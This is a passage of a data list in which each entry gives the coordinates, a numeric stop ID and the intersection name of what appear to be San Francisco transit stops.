['37.708484,-122.420354', '14900', 'Geneva Ave and Santos St'], ['37.720565,-122.446608', '14903', 'GENEVA AVE and SAN JOSE AVE'], ['37.720567,-122.446606', '14902', 'GENEVA AVE and SANA JOSE AVE'], ['37.791041,-122.425771', '14905', 'Gough St and Sacramento St'], ['37.746667,-122.447768', '14904', 'Glenview Dr and Portola Dr'], ['37.749951,-122.443483', '16008', '6 Portola Dr'], ['37.72005,-122.46213', '14906', 'Grafton Ave and Ashton Ave'], ['37.777146,-122.463918', '13177', '6th Ave and Balboa St'], ['37.779002,-122.464044', '13176', '6th Ave and Anza St'], ['37.728606,-122.428571', '17431', 'Silver Ave and Lisbon St'], ['37.712253,-122.402316', '17395', 'Bay Shore Blvd/Arleta/Blanken'], ['37.718827,-122.397491', '17394', 'Third Street and Le Conte Ave'], ['37.776252,-122.394036', '17397', '4th St and King St'], ['37.740694,-122.392916', '15178', 'Jerrold Ave and Quint St'], ['37.737641,-122.389711', '17391', 'Third Street/Kirkwood/La Salle'], ['37.739916,-122.388907', '17390', 'Third Street/Hudson/Innes'], ['37.73228,-122.391536', '17393', 'Third Street/Revere/Shafter'], ['37.73435,-122.390859', '17392', 'Third Street/Oakdale/Palou'], ['37.791565,-122.441307', '15146', 'Jackson St and Divisadero St'], ['37.792529,-122.434676', '15147', 'Jackson St and Fillmore St'], ['37.792965,-122.431202', '15144', 'Jackson St and Buchanan St'], ['37.791724,-122.440888', '15145', 'Jackson St and Divisadero St'], ['37.712226,-122.402339', '17399', 'Bay Shore Blvd/Arleta/Blanken'], ['37.708944,-122.405044', '17398', 'Bay Shore Blvd and Sunnydale Ave'], ['37.71091,-122.47099', '15140', 'Junipero Serra Blvd and Palmetto Av'], ['37.75999,-122.39643', '13420', '20th St and Missouri St'], ['37.719892,-122.407088', '15344', 'Mansell St and Hamilton St'], ['37.73757,-122.47542', '13400', '19th Ave and Wawona St'], ['37.72711,-122.38572', '15112', 'Ingalls St and Thomas Ave'], ['37.718897,-122.418804', '15347', 'Mansell St and John F Shelley Dr'], ['37.729997,-122.476049', '13405', '20th Ave and Buckingham Way'], ['37.73042,-122.47588', '13404', '20th Ave and Buckingham Way'], ['37.72887,-122.47568', '13406', "20th Av/Macy's Stonestown"], ['37.766413,-122.453257', '14718', 'Frederick St and Stanyan St'], ['37.726874,-122.475945', '13408', '20th Ave and Winston Dr'], ['37.72014,-122.455923', '17249', 'Grafton Ave at Plymouth Ave'], ['37.731633,-122.446474', '15428', 'Monterey Blvd and Edna St'], ['37.714282,-122.469618', '13385', '19th Ave and Randolph St'], ['37.78498,-122.49969', '14874', 'LEGION OF HONOR'], ['37.733907,-122.496773', '16445', 'Sloat Blvd and 39th Ave'], ['37.74537,-122.45709', '14876', 'Laguna Honda Blvd and Balceta Ave'], ['37.788322,-122.415097', '14871', 'Leavenworth St and Sutter St'], ['37.79206,-122.41586', '14870', 'Leavenworth St and Sacramento St'], ['37.785015,-122.499592', '14873', 'LEGION OF HONOR'], ['37.79382,-122.41622', '14872', 'Leavenworth St and Washington St'], ['37.770248,-122.429701', '15018', 'Hermann St and Fillmore St'], ['37.73212,-122.4748', '13378', '19th Ave and Ocean Ave'], ['37.720283,-122.445363', '14879', 'Geneva Ave and Delano Ave'], ['37.801859,-122.419665', '15078', 'Hyde St and Lombard St'], ['37.793043,-122.409116', '16312', 'Sacramento St and Powell St'], ['37.788121,-122.447093', '16313', 'Sacramento St and Presidio Ave'], ['37.79068,-122.427138', '16310', 'Sacramento St and Octavia St'], ['37.780783,-122.415421', '15079', 'Hyde St and Mcallister St'], ['37.793236,-122.407591', '16316', 'Sacramento St and Stockton St'], ['37.791378,-122.422286', '16317', 'Sacramento St and Van Ness Ave'], ['37.79403,-122.401551', '16314', 'Sacramento St and Sansome St'], ['37.792673,-122.411864', '16315', 'Sacramento St and Sproule Ln'], ['37.788026,-122.447979', '16318', 'Sacramento St and Walnut St'], ['37.790107,-122.432226', '16319', 'Sacramento St and Webster St'], ['37.75392,-122.47653', '13375', '19th Ave and Noriega St'], ['37.7577,-122.39176', '17126', '22nd St and Iowa St'], ['37.734042,-122.493646', '16442', 'Sloat Blvd and 36th Ave'], ['37.75412,-122.47629', '13374', '19th Ave and Noriega St'], ['37.7547,-122.39656', '14344', 'Dakota St and 23rd St'], ['37.720827,-122.446657', '11029', 'REFERENCE and REFERENCE'], ['37.760465,-122.388386', '13411', '20th St and 3rd St'], ['37.720908,-122.446806', '11028', 'REFERENCE and REFERENCE'], ['37.746676,-122.443208', '17229', 'Diamond Heights Blvd and Duncan St'], ['37.78992,-122.39749', '15528', 'Mission St and 1st St'], ['37.765375,-122.477404', '13371', '19th Ave and Lincoln Way'], ['37.731628,-122.471707', '17113', 'Junipero Serra Blvd and Ocean Ave'], ['37.746016,-122.443483', '17228', 'DUNCAN ST and AMBER DR'], ['37.765214,-122.477197', '13370', '19th Ave and Lincoln Way'], ['37.73378,-122.49345', '16443', 'Sloat Blvd and 36th Ave'], ['37.794525,-122.394618', '17247', 'EMBARCADERO and ST'], ['37.784595,-122.472161', '17246', 'FUNSTON AVE and LAKE ST'], ['37.758485,-122.505716', '13579', '46th Ave and Kirkham St'], ['37.758655,-122.505888', '13578', '46th Ave and Kirkham St'], ['37.79744,-122.41863', '15090', 'Hyde St and Vallejo St'], ['37.797406,-122.418773', '15091', 'Hyde St and Vallejo St'], ['37.738148,-122.406539', '15092', 'Industrial St and Bay Shore Blvd'], ['37.737943,-122.40678', '15093', 'Industrial St and Bay Shore Blvd'], ['37.73879,-122.40373', '15094', 'Industrial St and Elmira St'], ['37.73955,-122.40101', '15095', 'Industrial St and Palou Ave'], ['37.73913,-122.40305', '15096', 'Industrial St and Revere Ave'], ['37.729878,-122.371871', '15097', 'Innes Ave and Earl St'], ['37.78471,-122.41427', '14497', 'Ellis St and Leavenworth St'], ['37.78488,-122.41315', '14496', 'Ellis St and Jones St'], ['37.782863,-122.42059', '14495', 'Eddy St and Van Ness Ave'], ['37.782988,-122.420613', '14494', 'Eddy St and Van Ness Ave'], ['37.784101,-122.410789', '14493', 'Eddy St and Taylor St'], ['37.775647,-122.497419', '13062', 'Balboa St and 37th Ave'], ['37.780876,-122.437165', '14491', 'Eddy St and Scott St'], ['37.783059,-122.419019', '14490', 'Eddy St and Polk St'], ['37.734287,-122.48218', '16440', 'Sloat Blvd and 26th Ave'], ['37.78509,-122.41145', '14499', 'Ellis St and Taylor St'], ['37.780568,-122.412441', '15656', 'Market St and 7th St'], ['37.775527,-122.419482', '16821', 'Van Ness Ave and Oak St'], ['37.77553,-122.41948', '16822', 'Van Ness Ave and Oak St'], ['37.784817,-122.421128', '16823', "Van Ness Ave and O'Farrell St"], ['37.784683,-122.421254', '16824', "Van Ness Ave and O'Farrell St"], ['37.79489,-122.4234', '16825', 'Van Ness Ave and Pacific Ave'], ['37.789509,-122.422304', '16826', 'Van Ness Ave and Pine St'], ['37.78611,-122.42133', '16827', 'Van Ness Ave and Post St'], ['37.791162,-122.422604', '16828', 'Van Ness Ave and Sacramento St'], ['37.78783,-122.42166', '16829', 'Van Ness Ave and Sutter St'], ['37.765813,-122.471032', '15326', 'Lincoln Way and Funston Ave'], ['37.76565,-122.47086', '15327', 'Lincoln Way and Funston Ave'], ['37.764186,-122.507405', '15324', 'Lincoln Way and 47th Ave'], ['37.765984,-122.457956', '15325', 'Lincoln Way and Arguello Blvd'], ['37.764728,-122.491934', '15322', 'Lincoln Way and 33rd Ave'], ['37.764754,-122.494708', '15323', 'Lincoln Way and 35th Ave'], ['37.764943,-122.490422', '15320', 'Lincoln Way and 31st Ave'], ['37.764844,-122.492565', '15321', 'Lincoln Way and 33rd Ave'], ['37.734141,-122.491607', '16441', 'Sloat Blvd and 34th Ave'], ['37.79111,-122.399069', '15657', 'Market St and Battery St'], ['37.745423,-122.504801', '13595', '46th Ave and Rivera St'], ['37.798177,-122.450072', '14875', 'LETTERMAN HOSPITAL'], ['37.77134,-122.50939', '14228', 'Fulton St and La Playa St'], ['37.720522,-122.425882', '17248', 'Brazil Ave and Prague St'], ['37.76201,-122.42152', '16864', 'Valencia St and 18th St'], ['37.766185,-122.430707', '15690', 'Market St and Sanchez St'], ['37.76391,-122.43366', '15654', 'Market St and 16th St'], ['37.791449,-122.436132', '16494', 'Steiner St and Washington St'], ['37.74184,-122.450472', '16672', 'Teresita Blvd and Isola Way'], ['37.7759,-122.44627', '14229', 'Fulton St and Masonic Ave'], ['37.77894,-122.401828', '17650', '5th St and Harrison St'], ['37.783502,-122.407625', '17651', '5th St &Stevenson St'], ['37.76142,-122.42165', '16865', 'Valencia St and 18th St'], ['37.765303,-122.417617', '17653', 'South Van Ness &16th St'], ['37.750643,-122.416202', '17654', 'South Van Ness and 24th St'], ['37.78031,-122.40357', '13168', '5th St and Folsom St'], ['37.7397,-122.42757', '16177', 'Randall St and Whitney St'], ['37.77654,-122.39857', '13166', '5th St and Brannan St'], ['37.790811,-122.390196', '17819', 'Folsom and Embarcadero'], ['37.784082,-122.407992', '15655', 'Market St and 5th St'], ['37.77701,-122.394746', '13165', '4th St and Townsend St'], ['37.777064,-122.394872', '13162', '4TH ST and TOWNSEND ST'], ['37.777109,-122.395135', '13163', '4th St and Townsend St'], ['37.784259,-122.404117', '13160', '4th St and Mission St'], ['37.785527,-122.405675', '13161', '4th St and Market St'], ['37.76078,-122.49595', '17096', 'Judah St and Sunset Blvd'], ['37.774783,-122.439837', '14981', 'Hayes St and Broderick St'], ['37.7609,-122.49318', '17094', 'Judah St and 34th Ave'], ['37.730695,-122.459085', '15431', 'Monterey Blvd and Faxon Ave'], ['37.729972,-122.461857', '15436', 'Monterey Blvd and Northgate Dr'], ['37.76107,-122.49295', '17093', 'Judah St and 34th Ave'], ['37.731472,-122.451239', '15434', 'Monterey Blvd and Gennessee St'], ['37.774509,-122.441259', '14980', 'Hayes St and Baker St'], ['37.76158,-122.47687', '13364', '19th Ave and Judah St'], ['37.7614,-122.47711', '13365', '19th Ave and Judah St'], ['37.730874,-122.457654', '15438', 'Monterey Blvd and Plymouth Ave'], ['37.731615,-122.453289', '15439', 'Monterey Blvd and Ridgewood Ave'], ['37.76343,-122.47704', '13360', '19th Ave and Irving St'], ['37.79015,-122.41548', '14868', 'Leavenworth St and Pine St'], ['37.764945,-122.419583', '17098', 'Mission St and 16th St'], ['37.705979,-122.461315', '17099', 'Mission St and San Jose Ave'], ['37.775243,-122.419183', '15696', 'Market St and Van Ness Ave'], ['37.71128,-122.46198', '16324', 'Sagamore St and Orizaba Ave'], ['37.719791,-122.463642', '14247', 'Garfield St and Bright St'], ['37.77741,-122.41634', '15652', 'Market St and 9th St'], ['37.734556,-122.475203', '13390', '19th Ave and Sloat Blvd'], ['37.801371,-122.45639', '17387', 'Graham St and Lincoln Blvd'], ['37.779959,-122.489972', '14273', 'Geary Blvd and 30th Ave'], ['37.779862,-122.488046', '14272', 'Geary Blvd and 28th Ave'], ['37.780005,-122.487806', '14271', 'Geary Blvd and 28th Ave'], ['37.779979,-122.484825', '14270', 'Geary Blvd and 25th Ave'], ['37.753619,-122.492432', '15751', 'Noriega St and 34th Ave'], ['37.77969,-122.4933', '14276', 'Geary Blvd and 33rd Ave'], ['37.779611,-122.491943', '14275', 'Geary Blvd and 32nd Ave'], ['37.779727,-122.49019', '14274', 'Geary Blvd and 30th Ave'], ['37.78123,-122.41833', '14242', 'Golden Gate Ave and Polk St'], ['37.779574,-122.493399', '14279', 'Geary Blvd and 33rd Ave'], ['37.779798,-122.493445', '14278', 'Geary Blvd and 33rd Ave'], ['37.75986,-122.4215', '16867', 'Valencia St and 19th St'], ['37.753618,-122.450541', '15697', 'Marview Way and Panorama Dr'], ['37.75485,-122.39876', '16958', 'Wisconsin St and 23rd St'], ['37.773374,-122.450853', '14989', 'Hayes St and Cole St'], ['37.795937,-122.437037', '16488', 'Steiner St and Green St'], ['37.789329,-122.435556', '16489', 'Steiner St and Sacramento St'], ['37.76554,-122.41964', '15551', 'Mission St and 16th St'], ['37.7662,-122.41986', '15550', 'Mission St and 15th St'], ['37.76569,-122.4314', '15653', 'Market St and 15th St'], ['37.71814,-122.42985', '16241', 'Russia Ave and Moscow St'], ['37.727017,-122.475922', '16950', 'Winston Dr and 20th Ave'], ['37.726883,-122.475739', '16951', 'Winston Dr and 20th Ave'], ['37.72806,-122.478488', '16952', 'Winston Dr and Buckingham Way'], ['37.727997,-122.478672', '16953', 'Winston Dr and Buckingham Way'], ['37.727122,-122.483299', '16954', 'Winston Dr and Lake Merced Blvd'], ['37.795859,-122.436863', '16487', 'Steiner St and Green St'], ['37.75973,-122.39911', '16956', 'Wisconsin St and 20th St'], ['37.75719,-122.39886', '16957', 'Wisconsin St and 22nd St'], ['37.75916,-122.47269', '14861', 'Lawton St and Lomita Ave'], ['37.774282,-122.458003', '14224', 'Fulton St and Arguello Blvd'], ['37.76013,-122.39633', '15521', 'Missouri St and 20th St'], ['37.731271,-122.471818', '17114', 'Junipero Serra Blvd and Ocean Ave'], ['37.758398,-122.395997', '15522', 'Missouri St and Sierra St'], ['37.799957,-122.412569', '16774', 'Union St and Mason St'], ['37.716099,-122.4022', '16948', 'Wilde Ave and Goettingen St'], ['37.780363,-122.412613', '15650', 'Market St and 7th St'], ['37.745592,-122.504973', '13594', '46th Ave and Rivera St'], ['37.74524,-122.47567', '13392', '19th Ave and Santiago St'], ['37.79447,-122.40149', '16328', 'Sansome St and Clay St'], ['37.800962,-122.404508', '16776', 'Union St and Montgomery St'], ['37.75683,-122.3957', '15525', 'Missouri St and Turner Ter'], ['37.79674,-122.438688', '16777', 'Union St and Pierce St'], ['37.77541,-122.45007', '14225', 'Fulton St and Clayton St'], ['37.75551,-122.39574', '15526', 'Missouri St and Watchman Way'], ['37.797792,-122.430456', '16770', 'Union St and Laguna St'], ['37.76463,-122.42196', '16861', 'Valencia St and 16th St'], ['37.75546,-122.3958', '15527', 'Missouri St and Watchman Way'], ['37.797641,-122.430651', '16771', 'Union St and Laguna St'], ['37.779744,-122.493227', '14277', 'Geary Blvd and 33rd Ave'], ['37.737216,-122.396722', '15882', 'Palou Ave and Quint St'], ['37.778606,-122.414826', '15651', 'Market St and 8th St'], ['37.7361,-122.39481', '15880', 'Palou Ave and Phelps St'], ['37.763308,-122.458746', '15887', '500 Parnassus Ave'], ['37.795599,-122.446702', '16772', 'Union St and Lyon St'], ['37.762727,-122.46074', '15885', 'Parnassus Ave and 4th Ave'], ['37.73825,-122.39853', '15884', 'Palou Ave and Rankin St'], ['37.7582,-122.47003', '14859', 'Lawton St and Funston Ave'], ['37.764905,-122.450083', '15889', 'Parnassus Ave and Cole St'], ['37.787401,-122.408391', '14757', 'Geary Blvd and Powell St'], ['37.800943,-122.434502', '16941', 'Webster St and Chestnut St'], ['37.743982,-122.494477', '16554', 'Sunset Blvd and Santiago St'], ['37.742349,-122.494545', '16555', 'Sunset Blvd and Taraval St'], ['37.742108,-122.49435', '16556', 'Sunset Blvd and Taraval St'], ['37.740243,-122.494211', '16557', 'Sunset Blvd and Ulloa St'], ['37.745838,-122.494604', '16550', 'Sunset Blvd and Rivera St'], ['37.733364,-122.49368', '16551', 'Sunset Blvd and Sloat Blvd'], ['37.732945,-122.49392', '16552', 'Sunset Blvd and Sloat Blvd'], ['37.744223,-122.494672', '16553', 'Sunset Blvd and Santiago St'], ['37.76341,-122.42165', '16862', 'Valencia St and 17th St'], ['37.74213,-122.49463', '17124', 'Taraval St and Sunset Blvd'], ['37.740118,-122.494383', '16558', 'Sunset Blvd and Ulloa St'], ['37.738619,-122.494279', '16559', 'Sunset Blvd and Vicente St'], ['37.780876,-122.464182', '13184', '6th Ave and Geary Blvd'], ['37.780768,-122.464354', '13185', '6th Ave and Geary Blvd'], ['37.77732,-122.40424', '13187', '6th St and Harrison St'], ['37.783216,-122.464382', '13180', '6th Ave and Clement St'], ['37.783026,-122.464526', '13181', '6th Ave and Clement St'], ['37.784673,-122.46448', '13182', '6th Ave and Cornwall St'], ['37.7583,-122.47008', '14858', 'Lawton St and Funston Ave'], ['37.758074,-122.388239', '17473', '3rd ST and 22nd St'], ['37.77874,-122.416752', '17474', 'GROVE AND LARKIN'], ['37.756767,-122.46357', '13189', '1697 7th Ave'], ['37.80484,-122.425352', '17476', 'Van Ness Ave and North Point St'], ['37.771421,-122.510792', '14227', 'Fulton St and Great Hwy'], ['37.76064,-122.50258', '17119', 'Judah St and 43rd Ave'], ['37.752242,-122.39662', '13505', '25th St and Connecticut St'], ['37.739385,-122.42432', '16280', 'San Jose Ave and Randall St'], ['37.735012,-122.500749', '16449', 'Sloat Blvd and 43rd Ave'], ['37.7268,-122.40667', '13688', 'Bacon St and Goettingen St'], ['37.80551,-122.41784', '14100', 'Columbus Ave and Bay St'], ['37.741766,-122.504341', '16639', 'Taraval St and 46th Ave'], ['37.74129,-122.47568', '13397', '19th Ave and Ulloa St'], ['37.71643,-122.45613', '15972', 'Plymouth Ave and Montana St'], ['37.742235,-122.492961', '16631', 'Taraval St and 35th Ave'], ['37.742354,-122.492708', '16630', 'Taraval St and 35th Ave'], ['37.74199,-122.498316', '16633', 'Taraval St and 40th Ave'], ['37.742124,-122.498055', '16632', 'Taraval St and 40th Ave'], ['37.7419,-122.500461', '16635', 'Taraval St and 42nd Ave'], ['37.742021,-122.500202', '16634', 'Taraval St and 42nd Ave'], ['37.741804,-122.502606', '16637', 'Taraval St and 44th Ave'], ['37.741924,-122.502346', '16636', 'Taraval St and 44th Ave'], ['37.76049,-122.50581', '17118', 'Judah St and 46th Ave'], ['37.792756,-122.417899', '14019', 'Clay St and Hyde St'], ['37.794263,-122.405971', '14018', 'Clay St and Grant Ave'], ['37.72715,-122.4412', '16281', 'San Jose Ave and San Juan Ave'], ['37.776641,-122.407847', '14661', 'Folsom St and 7th St'], ['37.73139,-122.43716', '14013', 'Circular Ave and Monterey Blvd'], ['37.73132,-122.43699', '14012', 'Circular Ave and Monterey Blvd'], ['37.73038,-122.4396', '14011', 'Circular Ave and Baden St'], ['37.8006,-122.40769', '16759', 'Union St and Grant Ave'], ['37.795098,-122.39902', '14017', 'Clay St and Front St'], ['37.791907,-122.424463', '14016', 'Clay St and Franklin St'], ['37.768331,-122.453464', '16483', 'Stanyan St and Waller St'], ['37.74149,-122.47543', '13396', '19th Ave and Ulloa St'], ['37.724387,-122.458077', '15797', 'Ocean Ave and Miramar Ave'], ['37.764621,-122.428722', '13984', 'Church St and 16th St'], ['37.764382,-122.428609', '13985', 'Church St and 16th St'], ['37.76281,-122.4285', '13986', 'Church St and 17th St'], ['37.761467,-122.428416', '13987', 'Church St and 18th St'], ['37.71482,-122.47307', '13980', 'Chumasero Dr and Font Blvd'], ['37.715007,-122.473135', '13981', 'Chumasero Dr and Font Blvd'], ['37.71407,-122.47316', '13982', 'Chumasero Dr and Galindo Ave'], ['37.7525,-122.394832', '13507', '25th St and Dakota St'], ['37.723941,-122.435731', '15796', 'Ocean Ave and Mission St'], ['37.78855,-122.40599', '16125', 'Post St and Grant Ave'], ['37.786123,-122.424982', '16124', 'Post St and Gough St'], ['37.78765,-122.41295', '16127', 'Post St and Jones St'], ['37.78724,-122.41626', '16126', 'Post St and Hyde St'], ['37.74532,-122.4519', '16121', 'Portola Dr and Teresita Blvd'], ['37.73993,-122.46368', '16120', 'Portola Dr and San Lorenzo Ave'], ['37.74533,-122.45238', '16123', 'Portola Dr and Woodside Ave'], ['37.741626,-122.456521', '16122', 'Portola Dr and Waithman Way'], ['37.780041,-122.50744', '16129', 'Point Lobos Ave and 46th Ave'], ['37.779739,-122.505228', '16128', 'Point Lobos Ave and 44th Ave'], ['37.775379,-122.464834', '17538', 'Cabrillo St and 7th Ave'], ['37.753215,-122.498012', '15754', 'Noriega St and 39th Ave'], ['37.715899,-122.474578', '14706', 'Font Blvd and Cambon Dr'], ['37.75206,-122.4764', '13380', '19th Ave and Ortega St'], ['37.715213,-122.473169', '14704', 'Font Blvd and Chumasero Dr'], ['37.72184,-122.48254', '14703', 'Font Blvd and Arballo Dr'], ['37.72176,-122.482151', '14702', 'Font Blvd and Arballo Dr'], ['37.73716,-122.41352', '14701', 'Folsom St and Tompkins St'], ['37.73718,-122.41344', '14700', 'Folsom St and Tompkins St'], ['37.737641,-122.389688', '17403', 'Third Street/Kirkwood/La Salle'], ['37.75236,-122.39634', '13504', '25th St and Connecticut St'], ['37.723451,-122.454217', '15795', 'Ocean Ave and Lee St'], ['37.717701,-122.477076', '14709', 'Font Blvd and Juan Bautista Cir'], ['37.779925,-122.484619', '13501', '25th Ave and Geary Blvd'], ['37.72314,-122.43151', '13760', 'Brazil Ave and Madrid St'], ['37.813134,-122.371017', '17254', 'Treasure Island Rd and Macalla Rd'], ['37.72122,-122.42748', '13762', 'Brazil Ave and Moscow St'], ['37.72128,-122.42776', '13763', 'Brazil Ave and Moscow St'], ['37.7209,-122.42699', '13764', 'Brazil Ave and Munich St'], ['37.72238,-122.4299', '13765', 'Brazil Ave and Naples St'], ['37.723958,-122.433085', '13766', 'Brazil Ave and Paris St'], ['37.747621,-122.497424', '13563', '39th Ave and Quintara St'], ['37.74472,-122.40443', '13768', '228 Bay Shore Blvd'], ['37.74133,-122.40669', '13769', '380 Bay Shore Blvd'], ['37.811803,-122.369584', '17256', 'Macalla Rd and Nimitz Ct'], ['37.811862,-122.36455', '17257', 'Macalla Rd/Bldg 240'], ['37.746079,-122.494799', '16549', 'Sunset Blvd and Rivera St'], ['37.794525,-122.394618', '11031', 'REFERENCE and REFERENCE'], ['37.78166,-122.49143', '14066', 'Clement St and 31st Ave'], ['37.73828,-122.437252', '17251', 'Diamond St (south)/Diamond Hts'], ['37.73955,-122.46527', '16011', 'Portola Dr and Clarendon Ave'], ['37.747042,-122.444766', '16010', 'Portola Dr and Burnett Ave'], ['37.741974,-122.455776', '16013', 'Portola Dr and Del Sur Ave'], ['37.74715,-122.4442', '16012', 'Portola Dr and Clipper St'], ['37.746462,-122.447917', '16015', 'Portola Dr and Glenview Dr'], ['37.745962,-122.497308', '13564', '39th Ave and Rivera St'], ['37.78745,-122.41459', '16017', 'Post St and Leavenworth St'], ['37.78705,-122.41772', '16016', 'Post St and Larkin St'], ['37.78901,-122.40238', '16019', 'Post St and Montgomery St'], ['37.785774,-122.427675', '16018', 'Post St and Laguna St'], ['37.785994,-122.433191', '14640', 'Fillmore St and Sutter St'], ['37.74596,-122.49747', '13565', '39th Ave and Rivera St'], ['37.720966,-122.391453', '14646', 'Fitzgerald Ave and Ingalls St'], ['37.722028,-122.39332', '14647', 'Fitzgerald Ave and Jennings St'], ['37.719921,-122.389587', '14645', 'Fitzgerald Ave and Hawes St'], ['37.786099,-122.409767', '17315', "Mason St and O'Farrell St"], ['37.76095,-122.4042', '16891', 'Vermont St and 19th St'], ['37.7848,-122.407681', '17314', 'POWELL and MARKET TURNTABLE'], ['37.80704,-122.41038', '15470', 'North Point St and Stockton St'], ['37.742133,-122.426528', '17317', 'Church St and 30th St'], ['37.790902,-122.447365', '15159', 'Jackson St and Presidio Ave'], ['37.79419,-122.42129', '15158', 'Jackson St and Polk St'], ['37.767786,-122.428996', '17316', 'Church St and 14th St'], ['37.718516,-122.448662', '16267', 'San Jose Ave and Mt Vernon Ave'], ['37.749223,-122.413705', '17311', 'Folsom St and 26th St'], ['37.79441,-122.41963', '15153', 'Jackson St and Larkin St'], ['37.795041,-122.414842', '15152', 'Jackson St and Jones St'], ['37.79315,-122.4295', '15155', 'Jackson St and Laguna St'], ['37.794854,-122.416366', '15154', 'Jackson St and Leavenworth St'], ['37.79336,-122.42786', '15157', 'Jackson St and Octavia St'], ['37.766698,-122.438279', '17310', 'Roosevelt Way&Buena Vista Ter'], ['37.76202,-122.40418', '16890', 'Vermont St and 18th St'], ['37.738371,-122.407306', '17313', 'Bay Shore Blvd and Alemany Blvd'], ['37.752444,-122.414128', '17312', 'Folsom St and 24th St'], ['37.72474,-122.42437', '13681', 'Avalon Ave and La Grande Ave'], ['37.74508,-122.47049', '16467', 'Santiago St and 14th Ave'], ['37.768212,-122.419816', '17657', '14th St and Mission St'], ['37.720008,-122.446999', '14801', 'Geneva Ave/Balboa Park BART'], ['37.719861,-122.447136', '14802', 'Geneva Ave/Balboa Park BART'], ['37.72105,-122.447219', '14803', 'Geneva Ave/Balboa Park BART'], ['37.720702,-122.446761', '14804', 'Geneva Ave/Balboa Park Bart Station'], ['37.720863,-122.44723', '14805', 'Geneva Ave/Balboa Park BART'], ['37.71004,-122.42434', '14806', 'Geneva Ave and Brookdale Ave'], ['37.782017,-122.427227', '14485', 'Eddy St and Laguna St'], ['37.7079,-122.41823', '14808', 'Geneva Ave and Castelo St'], ['37.7077,-122.41841', '14809', 'Geneva Ave and Castelo St'], ['37.75966,-122.40406', '16893', 'Vermont St and 20th St'], ['37.790709,-122.427502', '16309', 'Sacramento St and Octavia St'], ['37.793779,-122.403221', '16308', 'Sacramento St and Montgomery St'], ['37.790526,-122.42896', '16305', 'Sacramento St and Laguna St'], ['37.792183,-122.415755', '16304', 'Sacramento St and Leavenworth St'], ['37.793842,-122.403068', '16307', 'Sacramento St and Montgomery St'], ['37.72474,-122.42422', '13680', 'Avalon Ave and La Grande Ave'], ['37.792396,-122.414161', '16301', 'Sacramento St and Jones St'], ['37.79197,-122.417445', '16300', 'Sacramento St and Hyde St'], ['37.72575,-122.44252', '16289', 'San Jose Ave and Santa Ynez Ave'], ['37.793575,-122.404846', '16302', 'Sacramento St and Kearny St'], ['37.783682,-122.414079', '14483', 'Eddy St and Leavenworth St'], ['37.72691,-122.40648', '13687', 'Bacon St and Goettingen St'], ['37.74931,-122.44092', '13508', '25th St and Hoffman Ave'], ['37.75067,-122.41849', '13509', '25TH ST and MISSION ST'], ['37.755162,-122.495263', '16538', 'Sunset Blvd and Moraga St'], ['37.799236,-122.418979', '15088', 'Hyde St and Union St'], ['37.727975,-122.40368', '16354', 'San Bruno Ave and Bacon St'], ['37.795354,-122.418361', '15083', 'Hyde St and Pacific Ave'], ['37.7954,-122.4182', '15082', 'Hyde St and Pacific Ave'], ['37.805705,-122.420455', '15081', 'Hyde St and North Point St'], ['37.805633,-122.420272', '15080', 'Hyde St and North Point St'], ['37.782648,-122.415799', '15087', 'Hyde St and Turk St'], ['37.80703,-122.42121', '15086', 'Hyde St and Beach St'], ['37.79183,-122.41763', '15085', 'Hyde St and Sacramento St'], ['37.79017,-122.4173', '15084', 'Hyde St and Pine St'], ['37.74354,-122.43117', '15736', 'Noe St and 29th St'], ['37.80393,-122.40325', '16330', 'Sansome St and Lombard St'], ['37.76436,-122.38918', '17029', 'Mariposa and 3rd St'], ['37.798211,-122.427177', '16756', 'Union St and Gough St'], ['37.798657,-122.423909', '16833', 'Van Ness Ave and Union St'], ['37.798443,-122.424081', '16832', 'Van Ness Ave and Union St'], ['37.795415,-122.396996', '14015', 'Clay St and Drumm St'], ['37.787396,-122.421838', '16830', 'Van Ness Ave and Sutter St'], ['37.73968,-122.46677', '16837', 'Vicente St and West Portal Ave'], ['37.738079,-122.50531', '16836', 'Vicente St and 47th Ave'], ['37.738765,-122.487131', '16835', 'Vicente St and 30th Ave'], ['37.79641,-122.4237', '16834', 'Van Ness Ave and Vallejo St'], ['37.7633,-122.40429', '16894', 'Vermont St and Mariposa St'], ['37.72703,-122.38854', '16839', 'Van Dyke Ave and Jennings St'], ['37.73946,-122.46659', '16838', 'Vicente St and West Portal Ave'], ['37.77535,-122.503838', '13066', 'Balboa St and 43rd Ave'], ['37.76324,-122.40443', '16895', 'Vermont St and Mariposa St'], ['37.797151,-122.447183', '15331', 'Lyon St and Greenwich St'], ['37.730641,-122.431331', '15330', 'Lyell St and Alemany Blvd'], ['37.790581,-122.393337', '15333', 'Main St and Howard St'], ['37.74781,-122.45711', '15332', 'LAGUNA HONDA Hospital/Main Hosp'], ['37.791982,-122.394964', '15335', 'Main St and Mission St'], ['37.72744,-122.40451', '13685', 'Bacon St and Girard St'], ['37.721096,-122.403067', '15337', 'Mansell St and Brussels St'], ['37.79253,-122.39567', '15336', 'Main St and Market St'], ['37.719581,-122.408886', '15339', 'Mansell St and Dartmouth St'], ['37.720926,-122.403124', '15338', 'Mansell St and Brussels St'], ['37.762093,-122.46608', '13214', '9th Ave and Judah St'], ['37.76204,-122.466241', '13215', '9th Ave and Judah St'], ['37.760407,-122.466149', '13216', '9th Ave and Kirkham St'], ['37.712153,-122.432183', '16470', 'South Hill Blvd and Prague St'], ['37.770161,-122.404126', '13210', '8th St and Townsend St'], ['37.764288,-122.466241', '13211', '9th Ave and Irving St'], ['37.763913,-122.466241', '13212', '9th Ave and Irving St'], ['37.763797,-122.46639', '13213', '9th Ave and Irving St'], ['37.758533,-122.466022', '13218', '9th Ave and Lawton St'], ['37.758364,-122.465827', '13219', '9th Ave and Lawton St'], ['37.74201,-122.43101', '15738', 'Noe St and 30th St'], ['37.745641,-122.435864', '14398', 'Diamond St and Duncan St'], ['37.71629,-122.45039', '17115', 'San Jose Ave and Lakeview Ave'], ['37.737868,-122.469053', '16896', 'West Portal Ave and 14th Ave'], ['37.745471,-122.435693', '14399', 'Diamond St and Duncan St'], ['37.821831,-122.529689', '17691', 'Field Rd and Light House'], ['37.723647,-122.400591', '15899', 'Paul Ave and Bay Shore Blvd'], ['37.78801,-122.390611', '14975', 'Harrison St and Main St'], ['37.775611,-122.463803', '13179', '6th Ave and Cabrillo St'], ['37.776985,-122.46409', '13178', '6th Ave and Balboa St'], ['37.833609,-122.493902', '17647', 'Conzelman Rd and Mccullough Rd'], ['37.833148,-122.483383', '17646', 'Alexander Dr and Conzelman Rd'], ['37.833698,-122.49381', '17645', 'Conzelman Rd and Mccullough Rd'], ['37.78123,-122.40474', '13171', '5th St and Howard St'], 